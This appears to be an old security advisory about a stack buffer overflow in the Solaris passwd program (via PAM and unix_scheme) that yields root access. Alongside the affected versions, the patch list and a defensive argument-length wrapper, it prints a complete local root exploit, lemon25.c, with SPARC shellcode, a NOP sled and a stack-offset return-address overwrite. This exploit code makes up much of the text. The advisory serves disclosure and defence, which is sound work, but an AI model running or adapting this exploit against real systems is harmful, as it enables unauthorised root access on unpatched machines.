COMMAND

    /usr/bin/passwd (plus /usr/bin/yppassswd and /usr/bin/nispasswd)

SYSTEMS AFFECTED

    SunOS  versions   5.5.1  (exploit),   5.5.1_x86,  5.5   (exploit),
    5.5_x86, 5.4, 5.4_x86, and 5.3

PROBLEM

    Due to insufficient bounds checking on arguments in PAM (5.5.1 and
    5.5) and unix_scheme  (5.4 and 5.3),  it is possible  to overwrite
    the internal stack space of the passwd program. If exploited, this
    vulnerability can be used to gain root access on attacked systems.

    Under SunOS 5.5.1 and 5.5,  yppasswd and nispasswd are hard  links
    to the  passwd program  and therefore  are also  vulnerable. Under
    SunOS 5.4 and  5.3, passwd, yppasswd,  and nispasswd are  separate
    programs but they dynamically link unix_scheme and are affected.

    Cristian Schipor wrote exploit for Solaris 2.5 for  sa_chauthtok()
    type function (passwd LEMON_BUFFER).   It's a little trick here  -
    the LEMON_BUFFER is shifted in memory with 1 char after exec so it
    must to shift the LEMON_BUFFER in a reverse direction before  exec
    - that's happening only for a special combination of the exec args
    - see his exploits.

    ------------------------ file newpass.c --------------------------
    #include <stdio.h>
    #include <syslog.h>

    #define hidden_passwd "/bin/hpasswd" /*change here ...*/
    #define MAX_LENGTH 32

    void main(int argc, char *argv[])
    {
    int i;
    char *args[10];

            if(argc < 10)
            {
                    args[0]=hidden_passwd;
                    for(i = 1; i<argc; i++)
                    {
                            if(strlen(argv[i]) > MAX_LENGTH)
                            {
                                    printf("You reached the maximum length in args\n");
                                    exit(0);
                            }
                            else args[i]=argv[i];
                     }
                     args[i]=(char *)0;
                     execv(args[0],args);
            }
            else
            {
                    printf("You reached the maximum number of args !\n");
            }
    }

    ------------------------ end newpass.c  --------------------------

    ---------------------------- EXPLOIT -----------------------------

    -------------------------- lemon25.c -----------------------------
    /*
    This        is        for         Solaris        2.5.(1)         !
    With argv[1] you can modify  the stack offset (+-500) if  you have
    troubles ...  */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>

    #define BUF_LENGTH      1100
    #define EXTRA           1200
    #define STACK_OFFSET    3800
    #define SPARC_NOP       0xa61cc013

    u_char sparc_shellcode[] =
    "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
    "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
    "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
    "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
    "\x82\x10\x20\x3b\x91\xd4\xff\xff"
    ;

    u_long get_sp(void)
    {
      __asm__("mov %sp,%i0 \n");
    }

    void main(int argc, char *argv[])
    {
      char buf[BUF_LENGTH + EXTRA];
      long targ_addr;
      u_long *long_p;
      u_char *char_p;
      int i, code_length = strlen(sparc_shellcode),dso=0;

      if(argc > 1) dso=atoi(argv[1]);

      long_p =(u_long *)  buf;
        targ_addr = get_sp() - STACK_OFFSET - dso;

      for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = SPARC_NOP;

      char_p = (u_char *) long_p;

      for (i = 0; i < code_length; i++)
        *char_p++ = sparc_shellcode[i];

      long_p = (u_long *) char_p;


      for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ =targ_addr;

      printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
      targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
      execl("/bin/passwd", "passwd", buf,(char *) 0);
      perror("execl failed");
    }
    ----------------------- end of lemon25.c  ------------------------

    On some Solaris 2.5 this do not work (for NIS).  Casper Dik  said:
    "Yep,  this  is  a  bug  in  NIS.   The  NIS clients will send out
    requests that are  too big.   The server than  drop those requests
    and never send a reply.  (Some real old servers actually crash,  I
    think). The client code keeps on trying and never hits the  broken
    stack frame and you're safe."

    On the other hand Santithorn Bunchua <keh@AU.AC.TH> reported that
    this exploit  didn't work  on his  2.5 box,  but it  worked on his
    2.5.1 box (with all  the recommended patch ..  as of 16 Feb  97 ..
    which includes 103612-07).

SOLUTION

    The vulnerabilities relating to passwd in PAM and unix_scheme  are
    fixed by the following patches:

        OS version      Patch ID
        ----------      --------
        SunOS 5.5.1     104433-03
        SunOS 5.5.1_x86 104434-02
        SunOS 5.5       103178-03
        SunOS 5.5_x86   103179-03
        SunOS 5.4       101945-49       (to be released in 5 weeks from 29/04/1997)
        SunOS 5.4_x86   101946-43       (to be released in 5 weeks from 29/04/1997)
        SunOS 5.3       101318-87       (to be released in 6 weeks from 29/04/1997)

    AUSCERT  has  developed  a  wrapper  to help prevent programs from
    being  exploited  using  this  vulnerability.   The source for the
    wrapper, including installation instructions, can be found at:

        ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper.c